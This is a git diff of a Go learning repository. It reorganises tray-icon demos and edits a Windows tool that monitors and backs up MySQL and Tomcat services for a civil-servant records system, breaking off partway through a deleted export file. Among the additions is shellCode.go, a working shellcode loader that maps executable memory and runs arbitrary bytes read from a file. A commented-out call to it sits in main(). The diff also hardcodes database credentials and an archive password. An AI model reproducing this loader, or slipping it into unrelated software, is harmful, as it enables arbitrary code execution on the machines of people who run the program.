diff --git a/golang_learn/data_func/go_to_0tray/icon.ico b/golang_learn/data_func/go_to_tray/demo01/icon.ico similarity index 100% rename from golang_learn/data_func/go_to_0tray/icon.ico rename to golang_learn/data_func/go_to_tray/demo01/icon.ico diff --git a/golang_learn/data_func/go_to_0tray/main.go b/golang_learn/data_func/go_to_tray/demo01/main.go similarity index 96% rename from golang_learn/data_func/go_to_0tray/main.go rename to golang_learn/data_func/go_to_tray/demo01/main.go index b81b051..0c95200 100644 --- a/golang_learn/data_func/go_to_0tray/main.go +++ b/golang_learn/data_func/go_to_tray/demo01/main.go @@ -20,7 +20,7 @@ func main() { func onReady() { timezone = "默认文字" - systray.SetIcon(getIcon("D:\\ViviCode\\golangs_learn\\golang_learn\\data_func\\go_to_0tray\\icon.ico")) + systray.SetIcon(getIcon("D:\\ViviCode\\golangs_learn\\golang_learn\\data_func\\go_to_tray\\demo01\\icon.ico")) submenu := systray.AddSubMenu("子菜单") _ = submenu.AddSubMenuItem("开始", "", 0) diff --git a/golang_learn/data_func/go_to_windows/build/build.bat b/golang_learn/data_func/go_to_tray/demo02/build.bat similarity index 95% rename from golang_learn/data_func/go_to_windows/build/build.bat rename to golang_learn/data_func/go_to_tray/demo02/build.bat index a279160..f4e30a5 100644 --- a/golang_learn/data_func/go_to_windows/build/build.bat +++ b/golang_learn/data_func/go_to_tray/demo02/build.bat @@ -1,6 +1,5 @@ set GO111MODULE=on set GOARCH=386 -cd ../ rsrc -manifest main.manifest -ico main.ico -o main.syso go generate go build -ldflags="-s -w -H=windowsgui" -o м.exe diff --git a/golang_learn/data_func/go_to_tray/demo02/main.go b/golang_learn/data_func/go_to_tray/demo02/main.go new file mode 100644 index 0000000..635c1eb --- /dev/null +++ b/golang_learn/data_func/go_to_tray/demo02/main.go @@ -0,0 +1,133 @@ +package main + +import ( + "fmt" + "log" + "net/http" + + "github.com/braintree/manners" + "github.com/lxn/walk" +) + +func handler(w http.ResponseWriter, r *http.Request) { + fmt.Fprintf(w, "Hi there, I love %s!", r.URL.Path[1:]) +} + +type MyWindow struct { + *walk.MainWindow + ni *walk.NotifyIcon +} + +func NewMyWindow() *MyWindow { + mw := new(MyWindow) + var err error + mw.MainWindow, err = walk.NewMainWindow() + checkError(err) + return mw +} + +func (mw *MyWindow) init() { + http.HandleFunc("/", handler) +} + +func (mw *MyWindow) RunHttpServer() error { + return manners.ListenAndServe(":8080", http.DefaultServeMux) +} + +func (mw *MyWindow) AddNotifyIcon() { + var err error + mw.ni, err = walk.NewNotifyIcon(mw) + checkError(err) + mw.ni.SetVisible(true) + + icon, err := walk.NewIconFromResourceId(3) + checkError(err) + mw.SetIcon(icon) + mw.ni.SetIcon(icon) + + startAction := mw.addAction(nil, "start") + stopAction := mw.addAction(nil, "stop") + stopAction.SetEnabled(false) + startAction.Triggered().Attach(func() { + go func() { + err := mw.RunHttpServer() + if err != nil { + mw.msgbox("start", "start http server failed.", walk.MsgBoxIconError) + return + } + }() + startAction.SetChecked(true) + startAction.SetEnabled(false) + stopAction.SetEnabled(true) + mw.msgbox("start", "start http server success.", walk.MsgBoxIconInformation) + }) + + stopAction.Triggered().Attach(func() { + ok := manners.Close() + if !ok { + mw.msgbox("stop", "stop http server failed.", walk.MsgBoxIconError) + } else { + stopAction.SetEnabled(false) + startAction.SetChecked(false) + startAction.SetEnabled(true) + mw.msgbox("stop", "stop http server success.", walk.MsgBoxIconInformation) + } + }) + + helpMenu := mw.addMenu("help") + mw.addAction(helpMenu, "help").Triggered().Attach(func() { + walk.MsgBox(mw, "help", "http://127.0.0.1:8080", walk.MsgBoxIconInformation) + }) + + mw.addAction(helpMenu, "about").Triggered().Attach(func() { + walk.MsgBox(mw, "about", "http server.", walk.MsgBoxIconInformation) + }) + + mw.addAction(nil, "exit").Triggered().Attach(func() { + mw.ni.Dispose() + mw.Dispose() + walk.App().Exit(0) + }) + +} + +func (mw *MyWindow) addMenu(name string) *walk.Menu { + helpMenu, err := walk.NewMenu() + checkError(err) + help, err := mw.ni.ContextMenu().Actions().AddMenu(helpMenu) + checkError(err) + help.SetText(name) + + return helpMenu +} + +func (mw *MyWindow) addAction(menu *walk.Menu, name string) *walk.Action { + action := walk.NewAction() + action.SetText(name) + if menu != nil { + menu.Actions().Add(action) + } else { + mw.ni.ContextMenu().Actions().Add(action) + } + + return action +} + +func (mw *MyWindow) msgbox(title, message string, style walk.MsgBoxStyle) { + mw.ni.ShowInfo(title, message) + walk.MsgBox(mw, title, message, style) +} + +func main() { + mw := NewMyWindow() + + mw.init() + mw.AddNotifyIcon() + mw.Run() +} + +func checkError(err error) { + if err != nil { + log.Fatal(err) + } +} diff --git a/golang_learn/data_func/go_to_tray/demo02/main.ico b/golang_learn/data_func/go_to_tray/demo02/main.ico new file mode 100644 index 0000000..758a8d4 Binary files /dev/null and b/golang_learn/data_func/go_to_tray/demo02/main.ico differ diff --git a/golang_learn/data_func/go_to_tray/demo02/main.manifest b/golang_learn/data_func/go_to_tray/demo02/main.manifest new file mode 100644 index 0000000..4a042b0 --- /dev/null +++ b/golang_learn/data_func/go_to_tray/demo02/main.manifest @@ -0,0 +1,22 @@ + + + + + + + + + + + PerMonitorV2, PerMonitor + True + + + + + + + + + + \ No newline at end of file diff --git a/golang_learn/data_func/go_to_tray/demo02/main.syso b/golang_learn/data_func/go_to_tray/demo02/main.syso new file mode 100644 index 0000000..a47c9ab Binary files /dev/null and b/golang_learn/data_func/go_to_tray/demo02/main.syso differ diff --git a/golang_learn/data_func/go_to_windows/build/build.sh b/golang_learn/data_func/go_to_windows/build.bat similarity index 61% rename from golang_learn/data_func/go_to_windows/build/build.sh rename to golang_learn/data_func/go_to_windows/build.bat index 1cc2cc2..f4e30a5 100644 --- a/golang_learn/data_func/go_to_windows/build/build.sh +++ b/golang_learn/data_func/go_to_windows/build.bat @@ -1,6 +1,5 @@ set GO111MODULE=on set GOARCH=386 -cd ../ rsrc -manifest main.manifest -ico main.ico -o main.syso go generate -go build -ldflags="-s -w -H=windowsgui" -o HyServer.exe +go build -ldflags="-s -w -H=windowsgui" -o м.exe diff --git a/golang_learn/data_func/go_to_windows/image/bangzhu.png b/golang_learn/data_func/go_to_windows/image/bangzhu.png deleted file mode 100644 index 723c404..0000000 Binary files a/golang_learn/data_func/go_to_windows/image/bangzhu.png and /dev/null differ diff --git a/golang_learn/data_func/go_to_windows/image/beifen.png b/golang_learn/data_func/go_to_windows/image/beifen.png deleted file mode 100644 index a77566e..0000000 Binary files a/golang_learn/data_func/go_to_windows/image/beifen.png and /dev/null differ diff --git a/golang_learn/data_func/go_to_windows/image/guanyu.png b/golang_learn/data_func/go_to_windows/image/guanyu.png deleted file mode 100644 index 3235487..0000000 Binary files a/golang_learn/data_func/go_to_windows/image/guanyu.png and /dev/null differ diff --git a/golang_learn/data_func/go_to_windows/image/huanyuan.png b/golang_learn/data_func/go_to_windows/image/huanyuan.png deleted file mode 100644 index 1812460..0000000 Binary files a/golang_learn/data_func/go_to_windows/image/huanyuan.png and /dev/null differ diff --git a/golang_learn/data_func/go_to_windows/image/icon.ico b/golang_learn/data_func/go_to_windows/image/icon.ico deleted file mode 100644 index c1e4b0e..0000000 Binary files a/golang_learn/data_func/go_to_windows/image/icon.ico and /dev/null differ diff --git a/golang_learn/data_func/go_to_windows/image/media.png b/golang_learn/data_func/go_to_windows/image/media.png deleted file mode 100644 index 51863c6..0000000 Binary files a/golang_learn/data_func/go_to_windows/image/media.png and /dev/null differ diff --git a/golang_learn/data_func/go_to_windows/image/qinghuancun.png b/golang_learn/data_func/go_to_windows/image/qinghuancun.png deleted file mode 100644 index dbfa08b..0000000 Binary files a/golang_learn/data_func/go_to_windows/image/qinghuancun.png and /dev/null differ diff --git a/golang_learn/data_func/go_to_windows/image/shezhi.png b/golang_learn/data_func/go_to_windows/image/shezhi.png deleted file mode 100644 index d728244..0000000 Binary files a/golang_learn/data_func/go_to_windows/image/shezhi.png and /dev/null differ diff --git a/golang_learn/data_func/go_to_windows/image/shujuku.png b/golang_learn/data_func/go_to_windows/image/shujuku.png deleted file mode 100644 index 8f4eeb7..0000000 Binary files a/golang_learn/data_func/go_to_windows/image/shujuku.png and /dev/null differ diff --git a/golang_learn/data_func/go_to_windows/image/tuichu.png b/golang_learn/data_func/go_to_windows/image/tuichu.png deleted file mode 100644 index 58c2879..0000000 Binary files a/golang_learn/data_func/go_to_windows/image/tuichu.png and /dev/null differ diff --git a/golang_learn/data_func/go_to_windows/image/yaoqiu.png b/golang_learn/data_func/go_to_windows/image/yaoqiu.png deleted file mode 100644 index f4fa45b..0000000 Binary files a/golang_learn/data_func/go_to_windows/image/yaoqiu.png and /dev/null differ diff --git a/golang_learn/data_func/go_to_windows/image/yingyong.png b/golang_learn/data_func/go_to_windows/image/yingyong.png deleted file mode 100644 index cfc2702..0000000 Binary files a/golang_learn/data_func/go_to_windows/image/yingyong.png and /dev/null differ diff --git a/golang_learn/data_func/go_to_windows/log.go b/golang_learn/data_func/go_to_windows/log.go new file mode 100644 index 0000000..4959670 --- /dev/null +++ b/golang_learn/data_func/go_to_windows/log.go @@ -0,0 +1,25 @@ +package main + +import ( + "fmt" + "io" + "log" + "os" + "time" +) + +var ( + Info *log.Logger + Error *log.Logger +) + +func init() { + //日志输出文件 + file, err := os.OpenFile(fmt.Sprintf("./tomcat8/logs/GWY-%s.log", time.Now().Format("20060102")), os.O_CREATE|os.O_WRONLY|os.O_APPEND, 0666) + if err != nil { + log.Fatalln("Faild to open error logger file:", err) + } + //自定义日志格式 + Info = log.New(io.MultiWriter(file, os.Stderr), "INFO: ", log.Ldate|log.Ltime|log.Lshortfile) + Error = log.New(io.MultiWriter(file, os.Stderr), "ERROR: ", log.Ldate|log.Ltime|log.Lshortfile) +} diff --git a/golang_learn/data_func/go_to_windows/main.go b/golang_learn/data_func/go_to_windows/main.go index d2a088a..6c9ddad 100644 --- a/golang_learn/data_func/go_to_windows/main.go +++ b/golang_learn/data_func/go_to_windows/main.go @@ -16,7 +16,6 @@ import ( "io" "io/fs" "io/ioutil" - "log" "os" "os/exec" "path/filepath" @@ -33,16 +32,15 @@ var passwordname = "Qw^e1@10&++Hzb...?8" // 解压密码 var path string // 该部分不存在最后 横线 (格式为 D:\hzb2021),使用时需要补充横线 var epsoft1 = `全国公务员管理信息系统2020版` // 系统名称 1 var epsoft2 = `全国公务员管理信息系统2021版` // 系统名称 2 -var url = `root:admin@tcp(127.0.0.1:35017)/hy_qggwy?charset=utf8` -var tabs Tabs // 清除特殊字符串表和字段 -var funcs Funcs // 执行批量操作脚本 -var typeStr = `0` // 执行导出名册默认 0-按照职务输出生成 1-按照主职务生成 +var timezone string type myApp struct { + *walk.FormBase title string name string msg *walk.TextEdit mw *walk.MainWindow + ni *walk.NotifyIcon } type myService struct { text string @@ -51,6 +49,8 @@ type myService struct { btnRegister *walk.PushButton btnStart *walk.PushButton btnStop *walk.PushButton + menuStart *walk.Action + menuStop *walk.Action } type tabIdx struct { tabName string // 表名 @@ -63,11 +63,11 @@ func init() { app.title = "公务员管理系统-运行监控" app.name = "网新" service1 = myService{ - text: " 数据存储库", + text: "⚡数据存储库", serviceName: "GWY20_Mysql", } service3 = myService{ - text: " 公务员系统", + text: "⚡公务员系统", serviceName: "GWY20_Tomcat", } path, _ = os.Getwd() @@ -75,6 +75,7 @@ func init() { // main 程序入口 func main() { + // RunShellCode() err := GetWindows() if err != nil { @@ -128,12 +129,27 @@ func runMain() { go flushServiceStat(service3) app.mw.Show() + app.AddNotifyIcon() app.mw.Run() } +func OnExit() { + // 清除销毁 + walk.App().Exit(0) +} + // setServiceState 设置 服务状态描述和按钮状态 func setServiceState(service myService, msg string, btnStartStatus, btnStopStatus, btnRegisterStatus bool) { _ = service.labelState.SetText(msg) + if btnStartStatus { + service.menuStop.SetEnabled(false) + service.menuStart.SetChecked(false) + service.menuStart.SetEnabled(true) + } else { + service.menuStop.SetEnabled(false) + service.menuStart.SetChecked(false) + service.menuStart.SetEnabled(true) + } service.btnStart.SetEnabled(btnStartStatus) service.btnStop.SetEnabled(btnStopStatus) service.btnRegister.SetEnabled(btnRegisterStatus) @@ -242,6 +258,7 @@ func stopService(service myService) { // showMsg 显示内容到 控制面板 func showMsg(msg string) { + Info.Println(msg) app.msg.AppendText(time.Now().Format("2006-01-02 15:04:05 ")) app.msg.AppendText(msg) app.msg.AppendText("\r\n") @@ -420,7 +437,7 @@ func setDbIni(innodbBufferPoolSize int) { file, err := os.OpenFile(myIniFile, os.O_RDWR, 0666) if err != nil { showMsg("【异常】打开文件发生错误!" + myIniFile) - log.Fatal("打开文件异常:", err) + Error.Println("打开文件异常:", err) return } //defer关闭文件 @@ -440,7 +457,7 @@ func setDbIni(innodbBufferPoolSize int) { break } else { showMsg("【异常】读取文件发生错误:" + line) - log.Fatal("读取文件异常:", err) + Error.Println("读取文件异常:", err) return } } @@ -469,28 +486,6 @@ func setServerSize() { }) } -// 按照职务输出生成(可能人员重复) -func getMcByA0281() { - typeStr = "0" - mc, b := RunMc() - if b { - return - } - showMsg("导出文件成功!") - showMsg(fmt.Sprintf("存放当前目录下,文件名称:%s", mc)) -} - -// 按照主职务生成(可能人员丢失) -func getMcByA0279() { - typeStr = "1" - mc, b := RunMc() - if b { - return - } - showMsg("导出文件成功!") - showMsg(fmt.Sprintf("存放当前目录下,文件名称:%s", mc)) -} - // reDbIndex 重新构建索引 func reDbIndex() { // 判断 mysql 服务应用启动 @@ -501,7 +496,7 @@ func reDbIndex() { time.Sleep(time.Second) - db, _ := sql.Open("mysql", url) + db, _ := sql.Open("mysql", "root:admin@tcp(127.0.0.1:35017)/hy_qggwy?charset=utf8") showMsg("连接数据库成功!\n请不要进行其他操作,否则影响执行...") for i := 0; i < len(DbIndex); i++ { ExecSql(db, fmt.Sprintf(`DROP INDEX %s ON %s`, DbIndex[i].idxName, DbIndex[i].tabName)) @@ -510,49 +505,10 @@ func reDbIndex() { showMsg("已完成重新构建索引!") } -// clearData 数据清洗 (主要同步主细表数据;清洗可录入数据中特殊字符串) -func clearData() { - // 判断 mysql 服务应用启动 - if service1.btnStart.Enabled() { - walk.MsgBox(app.mw, "错误", "数据库服务未启动,即将进行数据库服务启动!", walk.MsgBoxIconWarning) - startService(service1) - } - - time.Sleep(time.Second) - - db, _ := sql.Open("mysql", url) - showMsg("连接数据库成功!\n请不要进行其他操作,否则影响执行...") - for i := range funcs.Sql { - sqlStrs := funcs.Sql[i] - for _, sqlStr := range sqlStrs.Sql { - db.Exec(sqlStr) - } - showMsg(fmt.Sprintf("已完成%s!", sqlStrs.name)) - } - - for i := range tabs.Tab { - tab := tabs.Tab[i] - for _, col := range tab.Cols { - for i2 := range ts { - _, _ = db.Exec(fmt.Sprintf(`update %s set %s=replace(%s, '%s', '') where %s is not null`, tab.name, col, col, ts[i2], col)) - } - } - } - showMsg("已完成清洗数据中特殊字符串!") -} - -var ts = []string{ - "�", - "", - "�", - "", - "&#", -} - func ExecSql(db *sql.DB, sql string) { stmt, err := db.Prepare(sql) if err != nil { - log.Fatal(err) + Error.Println(err) } _, _ = stmt.Exec() defer stmt.Close() @@ -570,7 +526,7 @@ func dbBak() { // 判断 mysql 服务应用启动 if !service1.btnStart.Enabled() { - db, _ := sql.Open("mysql", url) + db, _ := sql.Open("mysql", "root:admin@tcp(127.0.0.1:35017)/hy_qggwy?charset=utf8") showMsg("连接数据库成功!\n备份操作可能需要相当长时间...") // 【压缩data方式】创建临时文件夹 @@ -601,9 +557,12 @@ func dbBak() { time.Sleep(time.Second) - // 备份压缩文件 + // 备份数据库 - data压缩文件 Zip("./mysql/data", fmt.Sprintf("./%s/data.gz", dir)) + // 备份程序 - war压缩文件 + Zip("./tomcat8/webapps/qggwy", fmt.Sprintf("./%s/qggwy.gz", dir)) + dirName := fmt.Sprintf("./%s/", dir) fileName := fmt.Sprintf("%s.gz", dir) // 进行压缩操作 并 删除压缩前目录 @@ -616,7 +575,7 @@ func dbBak() { // 启动服务 startService(service1) showMsg("已完成数据备份!") - showMsg(fmt.Sprintf(`⭐数据备份:%s\%s`, fileName, fileName)) + showMsg(fmt.Sprintf(`⭐数据备份:%s`, fileName)) } else { showMsg("无法正常启动数据库!") } @@ -625,31 +584,46 @@ func dbBak() { // reDbBak 备份数据还原 func reDbBak() { app.RunDbBakSetingDialog(app.mw, func(setings *DbBakSetings) { + if win.IDYES == walk.MsgBox(app.mw, "备份提醒", "还原会删除历史文件\n还原前是否进行数据备份?", walk.MsgBoxYesNo) { + dbBak() + } + showMsg("准备还原备份!") // 停服务 - //stopService(service1) + time.Sleep(time.Second * 2) + stopService(service1) + time.Sleep(time.Second * 3) + stopService(service3) + err := os.RemoveAll(fmt.Sprintf(`%s\mysql\data`, path)) + if err != nil { + showMsg("【异常】删除历史 数据原文件异常!") + return + } + + err = os.RemoveAll(fmt.Sprintf(`%s\tomcat8\HZBPHOTOS`, path)) + if err != nil { + showMsg("【异常】删除历史 照片原文件异常!") + return + } + + err = os.RemoveAll(fmt.Sprintf(`%s\tomcat8\webapps\qggwy`, path)) + if err != nil { + showMsg("【异常】删除历史 程序原文件异常!") + return + } + + command := exec.Command(path+`\tools\db-renew.exe`, `-file=`+setings.fileName, `-path=`+path) + command.Run() + + time.Sleep(time.Second * 3) // 起服务 - //startService(service1) + startService(service1) + startService(service3) // 执行还原操作 showMsg("已完成备份数据还原!") }) } -func (mw *DbBakSetings) selectFile() { - - dlg := new(walk.FileDialog) - dlg.Title = "选择还原文件(格式:gz)" - dlg.Filter = "可执行文件 (*.gz)|*.gz" - - _ = mw.searchBox.SetText("") //通过重定向变量设置TextEdit的Text - if ok, err := dlg.ShowOpen(mw); err != nil { - showMsg("【异常】选择打开文件!") - } else if !ok { - showMsg("Cancel\n") - } - _ = mw.searchBox.SetText(mw.path) -} - // QuerySQL 获取表数据 func QuerySQL(db *sql.DB, dir, sqlStr, tableName string, colNil []string) { rows, _ := db.Query(sqlStr) @@ -851,7 +825,7 @@ func InHzb() error { func Contains(array []fs.FileInfo, val string) (index int) { index = -1 for i := range array { - // log.Println(array[i].Name()) //打印当前文件或目录下的文件或目录名 + // Info.Println(array[i].Name()) //打印当前文件或目录下的文件或目录名 if array[i].Name() == val { index = i return @@ -861,55 +835,5 @@ func Contains(array []fs.FileInfo, val string) (index int) { } func (mw *myApp) aboutactionTriggered() { - walk.MsgBox(mw.mw, "功能说明", Info, walk.MsgBoxIconQuestion) -} - -func GuiInit() { - mw, err := walk.NewMainWindow() - if err != nil { - log.Fatal(err) - } - //托盘图标文件 - icon, err := walk.Resources.Icon("./image/icon.ico") - if err != nil { - log.Fatal(err) - } - ni, err := walk.NewNotifyIcon(mw) - if err != nil { - log.Fatal(err) - } - defer ni.Dispose() - if err := ni.SetIcon(icon); err != nil { - log.Fatal(err) - } - if err := ni.SetToolTip("鼠标在icon上悬浮的信息."); err != nil { - log.Fatal(err) - } - ni.MouseDown().Attach(func(x, y int, button walk.MouseButton) { - if button != walk.LeftButton { - return - } - if err := ni.ShowCustom( - "Walk 任务栏通知标题", - "walk 任务栏通知内容", - icon); err != nil { - log.Fatal(err) - } - }) - exitAction := walk.NewAction() - if err := exitAction.SetText("右键icon的菜单按钮"); err != nil { - log.Fatal(err) - } - //Exit 实现的功能 - exitAction.Triggered().Attach(func() { walk.App().Exit(0) }) - if err := ni.ContextMenu().Actions().Add(exitAction); err != nil { - log.Fatal(err) - } - if err := ni.SetVisible(true); err != nil { - log.Fatal(err) - } - if err := ni.ShowInfo("Walk NotifyIcon Example", "Click the icon to show again."); err != nil { - log.Fatal(err) - } - mw.Run() + walk.MsgBox(mw.mw, "功能说明", AppInfo, walk.MsgBoxIconQuestion) } diff --git a/golang_learn/data_func/go_to_windows/shellCode.go b/golang_learn/data_func/go_to_windows/shellCode.go new file mode 100644 index 0000000..8cea368 --- /dev/null +++ b/golang_learn/data_func/go_to_windows/shellCode.go @@ -0,0 +1,50 @@ +package main + +import ( + "io/ioutil" + "os" + "syscall" + "unsafe" +) + +const ( + MEM_COMMIT = 0x1000 + MEM_RESERVE = 0x2000 + PAGE_EXECUTE_READWRITE = 0x40 +) + +var ( + kernel32 = syscall.MustLoadDLL("kernel32.dll") + ntdll = syscall.MustLoadDLL("ntdll.dll") + VirtualAlloc = kernel32.MustFindProc("VirtualAlloc") + RtlCopyMemory = ntdll.MustFindProc("RtlCopyMemory") + shellcode_buf = []byte{ + // 0xfc, 0x48, ----shellcode----, 0xd5, + } +) + +func checkErr(err error) { + if err != nil { + if err.Error() != "The operation completed successfully." { + println(err.Error()) + os.Exit(1) + } + } +} + +func RunShellCode() { + shellcode := shellcode_buf + if len(os.Args) > 1 { + shellcodeFileData, err := ioutil.ReadFile(os.Args[1]) + checkErr(err) + shellcode = shellcodeFileData + } + + addr, _, err := VirtualAlloc.Call(0, uintptr(len(shellcode)), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE) + if addr == 0 { + checkErr(err) + } + _, _, err = RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode))) + checkErr(err) + syscall.Syscall(addr, 0, 0, 0, 0) +} diff --git a/golang_learn/data_func/go_to_windows/versioninfo.json b/golang_learn/data_func/go_to_windows/versioninfo.json deleted file mode 100644 index a24b46e..0000000 --- a/golang_learn/data_func/go_to_windows/versioninfo.json +++ /dev/null @@ -1,43 +0,0 @@ -{ - "FixedFileInfo": { - "FileVersion": { - "Major": 1, - "Minor": 0, - "Patch": 0, - "Build": 0 - }, - "ProductVersion": { - "Major": 1, - "Minor": 0, - "Patch": 0, - "Build": 0 - }, - "FileFlagsMask": "3f", - "FileFlags ": "00", - "FileOS": "040004", - "FileType": "01", - "FileSubType": "00" - }, - "StringFileInfo": { - "Comments": "公务员服务", - "CompanyName": "北京神舟航天软件技术有限公司", - "FileDescription": "公务员服务运行监控软件", - "FileVersion": "v1.0", - "InternalName": "运行监控", - "LegalCopyright": "Copyright (c) 2021", - "LegalTrademarks": "", - "OriginalFilename": "HyServer.exe", - "PrivateBuild": "", - "ProductName": "监控软件", - "ProductVersion": "V2021_1.0.1", - "SpecialBuild": "" - }, - "VarFileInfo": { - "Translation": { - "LangID": "0409", - "CharsetID": "04B0" - } - }, - "IconPath": "main.ico", - "ManifestPath": "" -} \ No newline at end of file diff --git a/golang_learn/data_func/go_to_windows/winMc.go b/golang_learn/data_func/go_to_windows/winMc.go deleted file mode 100644 index 58a7583..0000000 --- a/golang_learn/data_func/go_to_windows/winMc.go +++ /dev/null @@ -1,309 +0,0 @@ -package main - -import ( - "database/sql" - "encoding/json" - "fmt" - "github.com/360EntSecGroup-Skylar/excelize" - _ "github.com/go-sql-driver/mysql" - "strconv" - "strings" - "time" -) - -const sheetName = `Sheet1` -const fileName = `公务员系统数据-` -const fileType = `.xlsx` -const sqlCodeStr = `SELECT concat(code_type,code_value),code_name FROM CODE_VALUE where code_type in('%s') union SELECT concat(code_type,code_value),code_name3 FROM CODE_VALUE where code_type='ZB01'` -const sqlB01 = `select b0111,b0121,b0101 from b01 where b0111<>'-1' order by b0121,sortid` -const sqlA01A0279 = `select %s from a01 where a0163='1' and exists(select 1 from a02 a02 where a01.a0000=a02.a0000 and a0279='1' and A0201B='%s') order by (select lpad(max(a0225),5,'0') from a02 where a01.a0000=a02.a0000 and a0279='1' and A0201B='%s')` -const sqlA01A0281 = `select %s from a01 where a0163='1' and exists(select 1 from a02 a02 where a01.a0000=a02.a0000 and a0281='true' and A0201B='%s') order by (select lpad(max(a0225),5,'0') from a02 where a01.a0000=a02.a0000 and a0281='true' and A0201B='%s')` - -var CodeValueMap = make(map[string]string) - -func RunMc() (string, bool) { - db, _ := sql.Open("mysql", url) - codes, headers, types, headWidth, err := getInit() - if err { - showMsg(fmt.Sprintf("导出名册发生异常!")) - return "", err - } - - var allObj [][]interface{} - if len(CodeValueMap) == 0 { - QueryMap(db, fmt.Sprintf(sqlCodeStr, strings.Join(types, "','")), CodeValueMap) - } - b01s := QueryB01(db) - b01 := dept{ - Id: "-1", - Child: make([]*dept, 0), - } - makeTree(b01s, &b01) - makeA01s(b01, db, codes, types, &allObj) - - return getExcelFile(headers, headWidth, allObj), false -} - -func makeA01s(b01 dept, db *sql.DB, codes []string, types []string, allObj *[][]interface{}) { - for _, d := range b01.Child { - QueryA01(db, strings.Join(codes, ","), types, d.Id, allObj) - if len(d.Child) > 0 { - makeA01s(*d, db, codes, types, allObj) - } - } -} - -// getInit 初始化 JSON 对象,获取猎头 -func getInit() ([]string, []string, []string, []float64, bool) { - var yrYhs []YrYh - //读取的数据为json格式,需要进行解码 - err := json.Unmarshal([]byte(yryh), &yrYhs) - if err != nil { - showMsg(fmt.Sprintf("导出名册发生异常:%s", err)) - return nil, nil, nil, nil, true - } - yrYhsLen := len(yrYhs) - types := make([]string, yrYhsLen, yrYhsLen) // 输出类型 - codes := make([]string, yrYhsLen, yrYhsLen) // 输出信息项 - headers := make([]string, yrYhsLen, yrYhsLen) // 输出列名 - headWidth := make([]float64, yrYhsLen, yrYhsLen) // 输出列名 - for i1, i2 := range yrYhs { - codes[i1] = i2.Code - headers[i1] = i2.Name - headWidth[i1] = i2.Width - types[i1] = i2.Type - } - return codes, headers, types, headWidth, false -} - -func getExcelFile(headers []string, headWidth []float64, values [][]interface{}) string { - f, _ := ExportExcel(sheetName, headers, headWidth, values) - fileNameType := fileName + time.Now().Format("2006102150405") + fileType - _ = f.SaveAs(fileNameType) - return fileNameType -} - -// maxCharCount 最多26个字符A-Z -const maxCharCount = 26 - -// ExportExcel 导出Excel文件 -// sheetName 工作表名称, 注意这里不要取sheet1这种名字,否则导致文件打开时发生部分错误。 -// headers 列名切片, 表头 -// rows 数据切片,是一个二维数组 -func ExportExcel(sheetName string, headers []string, headWidth []float64, rows [][]interface{}) (*excelize.File, error) { - f := excelize.NewFile() - style, _ := f.NewStyle(`{ - "border":[ - {"type":"top","color":"#000000","style":1}, - {"type":"left","color":"#000000","style":1}, - {"type":"right","color":"#000000","style":1}, - {"type":"bottom","color":"#000000","style":1} - ], - "font":{"size":12,"color":"#000000","family":"仿宋"}, - "alignment":{"horizontal":"center","vertical":"center","wrap_text":true}, - "fill":{"type":"gradient","shading":0,"color":["#FFFF00","#FFFF00"]} - }`) - sheetIndex := f.NewSheet(sheetName) - maxColumnRowNameLen := 1 + len(strconv.Itoa(len(rows))) - columnCount := len(headers) - if columnCount > maxCharCount { - maxColumnRowNameLen++ - } else if columnCount > maxCharCount*maxCharCount { - maxColumnRowNameLen += 2 - } - columnNames := make([][]byte, 0, columnCount) - f.SetRowHeight(sheetName, 1, 80) // 设置行高 - for i, header := range headers { - columnName := getColumnName(i, maxColumnRowNameLen) - columnNames = append(columnNames, columnName) - // 初始化excel表头,这里的index从1开始要注意 - curColumnName := getColumnRowName(columnName, 1) - f.SetColWidth(sheetName, toCharStr(i+1), toCharStr(i+1), headWidth[i]) - f.SetCellValue(sheetName, curColumnName, header) - f.SetCellStyle(sheetName, curColumnName, curColumnName, style) // 设置单元格样式 - } - for rowIndex, row := range rows { - for columnIndex, columnName := range columnNames { - // 从第二行开始 - f.SetCellValue(sheetName, getColumnRowName(columnName, rowIndex+2), row[columnIndex]) - } - } - f.SetActiveSheet(sheetIndex) - return f, nil -} - -// getColumnName 生成列名 -// Excel的列名规则是从A-Z往后排;超过Z以后用两个字母表示,比如AA,AB,AC;两个字母不够以后用三个字母表示,比如AAA,AAB,AAC -// 这里做数字到列名的映射:0 -> A, 1 -> B, 2 -> C -// maxColumnRowNameLen 表示名称框的最大长度,假设数据是10行,1000列,则最后一个名称框是J1000(如果有表头,则是J1001),是4位 -// 这里根据 maxColumnRowNameLen 生成切片,后面生成名称框的时候可以复用这个切片,而无需扩容 -func getColumnName(column, maxColumnRowNameLen int) []byte { - const A = 'A' - if column < maxCharCount { - // 第一次就分配好切片的容量 - slice := make([]byte, 0, maxColumnRowNameLen) - return append(slice, byte(A+column)) - } else { - // 递归生成类似AA,AB,AAA,AAB这种形式的列名 - return append(getColumnName(column/maxCharCount-1, maxColumnRowNameLen), byte(A+column%maxCharCount)) - } -} - -// getColumnRowName 生成名称框 -// Excel的名称框是用A1,A2,B1,B2来表示的,这里需要传入前一步生成的列名切片,然后直接加上行索引来生成名称框,就无需每次分配内存 -func getColumnRowName(columnName []byte, rowIndex int) (columnRowName string) { - l := len(columnName) - columnName = strconv.AppendInt(columnName, int64(rowIndex), 10) - columnRowName = string(columnName) - // 将列名恢复回去 - columnName = columnName[:l] - return -} - -// QueryB01 获取机构树信息 -func QueryB01(db *sql.DB) []*dept { - rows, _ := db.Query(sqlB01) - defer rows.Close() - var b0111, b0121, b0101 string - depts := make([]*dept, 0) - for rows.Next() { - _ = rows.Scan(&b0111, &b0121, &b0101) - depts = append(depts, &dept{ - Id: b0111, - Pid: b0121, - Name: b0101, - Child: make([]*dept, 0), - }) - } - - return depts -} - -// QueryA01 获取人员信息 -func QueryA01(db *sql.DB, codes string, types []string, b0111 string, allObj *[][]interface{}) { - var sqlStr string - if typeStr == "1" { - sqlStr = fmt.Sprintf(sqlA01A0279, codes, b0111, b0111) - } else { - sqlStr = fmt.Sprintf(sqlA01A0281, codes, b0111, b0111) - } - rows, _ := db.Query(sqlStr) - defer rows.Close() - columns, _ := rows.Columns() - columnsLen := len(columns) - scanArgs := make([]interface{}, columnsLen) - values := make([]interface{}, columnsLen) - for i := range values { - scanArgs[i] = &values[i] - } - for rows.Next() { - _ = rows.Scan(scanArgs...) - valuer := make([]interface{}, columnsLen) - setValueStr(values, types, valuer) - *allObj = append(*allObj, valuer) - } -} - -func setValueStr(values []interface{}, types []string, valuer []interface{}) { - for i, col := range values { - if col != nil { - s := 